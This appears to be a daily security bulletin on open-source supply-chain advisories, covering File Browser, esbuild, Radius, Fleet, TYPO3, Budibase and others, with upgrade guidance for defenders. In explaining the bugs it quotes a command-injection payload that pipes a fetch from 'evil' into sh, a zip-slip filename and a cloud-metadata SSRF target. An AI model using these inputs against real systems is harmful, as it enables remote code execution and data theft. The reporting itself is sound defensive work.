Supply Chain · Watch Saturday · 13 June 2026 End-of-day synthesis 4 watches · 35 items

From the watchtower — what crossed the wire today.

A four-times-a-day standing watch on the open-source supply chain. Each pass pulls newly disclosed CVEs, freshly catalogued KEV adds, and active attacks reported in the wild — then ranks them by severity for the day.

The story of the day — The week's File Browser disclosure run crests with six advisories dropped at once — unauth share leaks, a one-packet login DoS, zip-slip and symlink escapes — while esbuild's Deno installer quietly reopens a build-time RCE path.

The day's spine is File Browser. The week-long disclosure run that opened with a single share-link bug crested this afternoon with six more advisories dropped together, the maintainers visibly choosing to empty the queue in one batch rather than drip-feed it.

The set is a guided tour of one codebase's blind spots: an unauthenticated public-share rebasing leak (CVE-2026-54091) that exposes files the owner explicitly blocked, a one-request login DoS that crashes the container, a Windows zip-slip that turns a downloaded archive into arbitrary file write, symlink escapes past the per-user scope, and a formal re-disclosure of the command-execution allowlist bypass — a feature the project disabled by default back in 2.33.8 and is now burying for good. Off to the side, esbuild took an 8.1: its Deno module fetches the native binary with no SHA-256 check (the Node installer has one, the Deno path never did), so anyone who can set NPM_CONFIG_REGISTRY in CI earns build-time code execution, and the Radius controller's confused-deputy container delete plus a second Fleet ORDER BY oracle round out a day whose through-line is trusted inputs evaluated against the wrong boundary. The bright spot is the File Browser team's own posture — defaulting the dangerous command-exec feature off and disclosing the whole class at once is the responsible shape for a queue this size.

→ Operational priority for the night if you run File Browser anywhere internet-facing, pull past 2.63.13 now — the unauthenticated public-share leak and the one-packet login DoS need no credentials — confirm the command-execution feature is off, then bump esbuild to 0.28.1 in any Deno-based build.

18:00 ET · First Watch

High · GHSA · filebrowser (go) ·added 18:00 ET

File Browser: unauthenticated info disclosure via public-share rule path rebasing (CVE-2026-54091, CVSS 7.5)

File Browser's public-share handler rebases the owner's filesystem root to the shared directory, then evaluates the owner's deny rules against the rebased relative path — so blocked files that sit *underneath* a shared directory become reachable to anyone holding the share URL, an unauthenticated read via `/api/public/share/*` and `/api/public/dl/*`. If you publicly share a parent directory and rely on rules to mask children, those masks are off. Upgrade past 2.63.5.

High · GHSA · filebrowser (go) ·added 18:00 ET

File Browser: command-execution allowlist bypass via shell metacharacters (CVE-2026-54090)

When File Browser's optional command-execution feature runs through a shell interpreter (`/bin/sh -c`), the command allowlist only vets the first token, so `allowed; curl evil|sh` slips straight past it. The maintainers disabled the whole feature by default from v2.33.8 onward and are now formally disclosing every command-exec bug in the class at once — if you re-enabled it, turn it back off. Part of today's File Browser dump.

High · GHSA · filebrowser (go) ·added 18:00 ET

File Browser: unauthenticated DoS via unbounded password length on the login API (CVE-2026-54092, CVSS 6.5)

The `/api/login` handler hashes whatever password length it's handed with no maximum, so one unauthenticated request carrying a multi-megabyte password spikes CPU and memory and crashes the container — the reporter knocked over their Docker daemon with it. Trivial, credential-free DoS against any internet-facing instance. Upgrade past 2.63.5.

High · GHSA · filebrowser (go) ·added 18:00 ET

File Browser: pre-created public share for a non-existent path goes live when content lands (CVE-2026-54096)

`POST /api/share/<path>` records a public share without checking the target exists, so an authenticated low-trust user can stake a share on an empty path today; when privileged content later lands there, the share activates automatically — the same confused-future-grant shape as Android's CVE-2026-0035. Lets a user claim a path before sensitive files arrive. Upgrade past 2.63.6.

High · GHSA · esbuild (npm) ·added 18:00 ET

esbuild: missing binary integrity check in the Deno module enables build-time RCE via NPM_CONFIG_REGISTRY (CVSS 8.1)

esbuild's Deno module (`lib/deno/mod.ts`) downloads its native binary from the npm registry and writes it `0o755` with no SHA-256 verification — the Node installer has `binaryIntegrityCheck()`, the Deno path never got it — so anyone who can set `NPM_CONFIG_REGISTRY` (CI env, devcontainer, a copy-pasted tutorial) redirects the fetch and earns code execution at build time. esbuild sits under most JS toolchains; the Deno-specific blast radius is narrower but the missing-integrity pattern is the dangerous one. Upgrade to esbuild 0.28.1.

High · GHSA · radius (go) ·added 18:00 ET

Radius controller: confused-deputy container delete via injected Deployment annotation in multi-tenant installs (CVE-2026-53999, CVSS 7.7)

The Radius Kubernetes controller trusts the `radapp.io/status` annotation on a Deployment and will issue a `DELETE` for the container resource it names — a confused deputy where, in a multi-tenant install (one controller reconciling Deployments across teams' resource groups), a tampered annotation deletes another team's container. Single-tenant installs only self-DoS; no data disclosure or privesc. Upgrade Radius to 0.58.0, multi-tenant operators first.

Medium · GHSA · filebrowser (go) ·added 18:00 ET

File Browser: symlink following escapes the per-user scope (CVE-2026-54094, CVSS 6.8)

Per-user scope is enforced with `afero.NewBasePathFs`, which blocks lexical `../` but does nothing about symlink following, so a scoped user (and in some flows a public-share recipient) can drop a symlink lexically inside their tree pointing outside it and then read, overwrite, or share the target across the boundary. The base-path FS gives a false sense of containment. Upgrade past 2.63.13.

Medium · GHSA · filebrowser (go) ·added 18:00 ET

File Browser: zip-slip in download-as-zip/tar via Windows backslash filenames (CVE-2026-54093)

Archive entry names are built with `filepath.ToSlash`, a no-op for backslashes on a Linux host, so a stored filename like `..\..\evil.txt` is emitted verbatim into the zip/tar and Windows extractors (Explorer, 7-Zip, .NET `ZipFile`) write it *outside* the extraction directory — arbitrary file write on whoever downloads and unpacks it. The victim here is the downloader, not the server. Upgrade past 2.63.5.

Medium · GHSA · fleet (go) ·added 18:00 ET

Fleet: Observer-level enrollment-secret extraction via ORDER BY oracle on the Apple MDM commands endpoint (CVE-2026-46371, CVSS 6.5)

Companion to this morning's Fleet labels-endpoint oracle: `GET /api/v1/fleet/mdm/apple/commands` accepts an unvalidated `order_key`, letting an Observer-role user run the same cursor-based binary-search oracle to exfiltrate enrollment secrets and APNS tokens from joined tables one bit at a time. Two endpoints, one missing column-allowlist. Upgrade Fleet and rotate enrollment secrets if Observers are untrusted.

Medium · GHSA · org.connectbot.sshlib:sshlib (maven) ·added 18:00 ET

ConnectBot SSH library: integer overflow / excessive allocation in DER private-key parsing

Second ConnectBot SSH-lib advisory alongside today's field-length DoS: `DerReader.readLength()` accumulates up to 127 length octets into an `Int` with no overflow or input-size guard, so a malformed private key wraps the length or requests a giant array and OOMs the process. Hits anything parsing application-supplied keys through this library. The same patched release covers both.

Medium · GHSA · fabric (npm) ·added 18:00 ET

Fabric.js: XSS via unescaped gradient colorStops in SVG serialization (CVE-2026-44311, CVSS 5.4)

Fabric.js `toSVG()` doesn't escape the `color` field of a gradient's `colorStops`, so a crafted color value injects markup into the serialized `<stop>` element; if your app renders that SVG via `innerHTML`, it's stored XSS. Relevant to canvas-editor and design-tool stacks that export user-authored objects to SVG. Upgrade fabric to 7.4.0.

Context · GHSA · esbuild (npm) ·added 18:00 ET

esbuild: arbitrary file read via dev-server path traversal on Windows (CVSS 2.5)

Companion esbuild bug: the dev server's `path.Clean()` normalises only forward slashes, so on Windows a backslash request escapes `servedir` and reads arbitrary files — dev-server-only, Windows-only, low severity. The same 0.28.1 closes it; bump once for both. Context-tier, noted so the upgrade isn't deferred.

06:00 ET · Morning Watch

High · GHSA · com.appsmith:server (maven) ·added 06:00 ET

Appsmith super-user TOCTOU race lets concurrent setup requests mint multiple instance administrators (CVSS 8.1)

A time-of-check/time-of-use race in Appsmith's `signupAndLoginSuper()` lets concurrent POSTs to `/api/v1/users/super` each pass the "only one admin during setup" check, so several attackers can land Instance Administrator at once (CWE-367). Pairs with yesterday's Appsmith origin-validation bypass as the same self-hosted-low-code class of bug — setup-time invariants enforced without a lock. Upgrade to the fixed Appsmith server build and confirm exactly one super user exists post-setup.

High · GHSA · filebrowser (go) ·added 06:00 ET

File Browser: low-privileged user can wipe any other user's share links via unbounded path-prefix match in DeleteWithPathPrefix (CVE-2026-54097)

A filebrowser user with create+delete in their own isolated scope can silently destroy share-link records belonging to anyone — admin included — because `DeleteWithPathPrefix` byte-prefix-matches stored `share.Link.Path` instead of scoping to the caller. No data is read, but victims' share links are irrevocably gone, a cross-tenant integrity break. Continuation of this week's File Browser disclosure run; bump to the patched v2 release.

High · GHSA · cms-core (composer) ·added 06:00 ET

TYPO3 CMS broken access control in the Form Framework (CVE-2026-11607)

Yet another Form Framework access-control fix in the coordinated TYPO3 set — the breadth across this component is the signal that the whole framework needed the audit, not any single CVE. Mandatory branch bump for all TYPO3 installs running the Form Framework.

High · GHSA · cms-core (composer) ·added 06:00 ET

TYPO3 CMS broken access control in the Form Framework (CVE-2026-47346)

Another Form Framework authorization gap in the same TYPO3 coordinated release that carried the headline privesc+SQLi (CVE-2026-49741). The Form Framework is the recurring weak point across this set — several distinct CVEs, one fixed point release. Bump your branch; no per-CVE triage needed beyond that.

High · GHSA · cms-core (composer) ·added 06:00 ET

TYPO3 CMS broken access control in the Media module (CVE-2026-49742)

Part of TYPO3's coordinated release: missing authorization in the Media module lets users reach media operations beyond their permission scope. One of several access-control fixes that fill out the ~15-advisory set yesterday's lede flagged. Covered by the same single branch bump (10.4.57 / 11.5.51 / 12.4.46 / 13.4.31 / 14.3.3).

High · GHSA · cms-core (composer) ·added 06:00 ET

TYPO3 CMS: destructive actions on file-mount folders (CVE-2026-47343)

Insufficient checks let a backend user trigger destructive operations against file-mount folders outside their intended scope. Integrity/availability risk for shared editorial storage, shipped in the same TYPO3 release wave. Resolved by the branch fixed release.

Medium · GHSA · backend-core (npm) ·added 06:00 ET

Budibase CSRF bypass via unanchored route-matcher regex in the Worker (CVE-2026-48147, CVSS 6.5)

`buildMatcherRegex()` compiles route patterns into unanchored regexes tested against the full URL including query string, so an attacker can craft a request whose query string makes the CSRF middleware skip token validation — same structural root cause as the earlier CVE-2026-31816. Part of the ongoing Budibase advisory cluster (SSRF, datasource exfil, this CSRF). Bump @budibase/server to the fixed version.

Medium · GHSA · server (npm) ·added 06:00 ET

Budibase SSRF via unvalidated VectorDB host parameter (CVE-2026-48148)

The VectorDB config endpoint accepts a host with no validation against internal ranges or schemes, so any builder-level user can point it at 169.254.169.254 or localhost and have the server connect on their behalf — classic cloud-metadata SSRF. Third SSRF-shaped issue in this Budibase wave; the pattern is missing `fetchWithBlacklist` coverage across endpoints. Upgrade @budibase/server.

Medium · GHSA · org.connectbot.sshlib:sshlib (maven) ·added 06:00 ET

ConnectBot SSH library: unbounded SSH field lengths trigger excessive memory allocation (DoS)

The SSH parser trusted attacker-controlled length/count fields without bounding them against the packet, so a malicious or compromised server can make the client pre-allocate a huge byte array and OOM — a client-side DoS via the Kaitai-generated parser. Matters for anything embedding the ConnectBot SSH client library against untrusted endpoints. Upgrade to the bounds-checked release.

Medium · GHSA · v4 (go) ·added 06:00 ET

Fleet: observer-role users can extract host enrollment secrets via ORDER BY oracle on the labels endpoint (CVE-2026-46370, CVSS 6.5)

Fleet's labels host-listing endpoint accepted an unvalidated `order_key`, letting the lowest-privilege Observer role run a cursor-based binary-search oracle to exfiltrate `node_key` / `orbit_node_key` enrollment secrets one bit at a time. Enrollment secrets are an agent-fleet pivot, so this is a real privilege boundary break despite the modest CVSS. Upgrade Fleet and rotate enrollment secrets if observers are untrusted.

Medium · GHSA · org.geoserver.web:gs-web-app (maven) ·added 06:00 ET

GeoServer SSRF in XML entity resolution when ENTITY_RESOLUTION_ALLOWLIST + proxy base URL are set (CVE-2025-58175, CVSS 6.5)

An unauthenticated attacker can drive GeoServer to make requests to unintended hosts via XML entity resolution, but only on installs using a proxy base URL with the default-since-2.25.0 allowlist. Same GeoServer that produced yesterday's master-password file-write — audit any internet-facing GeoServer this week. Apply the patched release or restrict entity resolution.

Medium · GHSA · pyo3 (rust) ·added 06:00 ET

PyO3: missing Sync bound on PyCFunction::new_closure permits cross-thread data races

`PyCFunction::new_closure` required `Send + 'static` but not `Sync`, so a closure invoked concurrently from multiple Python threads can data-race — sharpened by free-threaded (no-GIL) Python builds. Audit any Rust extension exposing closures via this API. Upgrade PyO3 to the patched release.